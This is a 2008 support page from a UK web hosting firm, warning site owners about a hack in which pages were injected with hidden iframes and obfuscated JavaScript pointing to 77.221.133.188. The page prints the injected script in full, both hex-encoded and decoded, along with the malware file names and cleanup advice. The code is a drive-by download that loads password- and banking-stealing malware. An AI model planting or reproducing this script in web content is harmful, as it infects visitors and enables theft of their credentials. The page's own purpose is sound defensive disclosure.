main Names
Email Setup
Hosting
Website

D

        Email Setup  Domain Names  Web Hosting  FTP  Website Design - all the answers in one place  
Domain Names
Domains - Email - Hosting - Websites - The Vikatec Group
Email Address
  |  Home   |  Domain Names   |  Email   |  Web Hosting   |  Website   |  FAQ's   |  Contact   |  About Us   |  
 (back  to Email Support Area - click here)


77.221.133.188 hack issue - Support Area (last updated on 4th April 2008)
 
 
77.221.133.188:

We have had 3 websites hacked by code pointing to this IP address on 6th and 8th December, we have reported the abuse to ripe,  http://www.ripe.net/

Any one who has this code - or similar show remove it and contact ripe as well:

<iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe>

<script>function v475ce233c3aee(v475ce233c3f29)


function v475ce233c46e9 () 
{
var v475ce233c500d=16; 
return v475ce233c500d;
}

return(parseInt(v475ce233c3f29,v475ce233c46e9()));
}

function v475ce233c56c4(v475ce233c5eb8)

var v475ce233c66b0='';
for(v475ce233c6f13=0; v475ce233c6f13<v475ce233c5eb8.length; v475ce233c6f13+=2)

v475ce233c66b0+=(String.fromCharCode(v475ce233c3aee(v475ce233c5eb8.substr(v475ce233c6f13, 2))));
}
return v475ce233c66b0;


document.write(v475ce233c56c4('3C5343524950543E77696E646F772E7374617475733D27446F6E6-
5273B646F63756D656E742E777269746528273C696672616D65206E616D653D383933303837632073-
72633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B-
4D6174682E726F756E64284D6174682E72616E646F6D28292A3332373534292B273831636166313339-
6430305C272077696474683D313036206865696768743D333039207374796C653D5C27646973706C61-
793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));

</script>


This code points to:

<SCRIPT>window.status='Done';document.write('<iframe name=286f2709c6d src=\'http://77.221.133.188/.if/go.html?'+Math.round(Math.random()*44330)+'2bcc00c95a\' width=130
 height=341 style=\'display: none\'></iframe>')</SCRIPT>



Damage:
This code will download 2 viruses to any machine view any of the infected pages, these virus then pass key information from your machine, including bank, ftp and password details,

If you have view a site that tries to take you to http://url' then you should get the latest anti-virus and run it a few times over 4 to 5 days, you should stop typing any details you want to keep, use cut and paste,

Files to look for are:
info.exe
ntos.exe

Banker.virus

Banker.info

A NEW VERSION ON THE VIRUS CAME OUT ON 16TH DECEMBER, SO YOU WILL NEED TO KEEP RUNNING YOUR ANTI-VIRUS CHECKS EACH DAY

You should put the correct pages back on and change all passwords,

We offer a website page checker, that will check your pages and alert you if they change, this is provided at £5+vat per month per website, please email us on info@vikatec.com for details, or use the contact form, click here

JustSupportUK™ by Vikatec Ltd for Domain Names, Email Setup, uk Web Hosting and Website Design.


© 2007  Vikatec Ltd, All rights reserved  | Terms & Conditions  | Privacy Policy  | Delivery Terms  | Security  | Terms of Use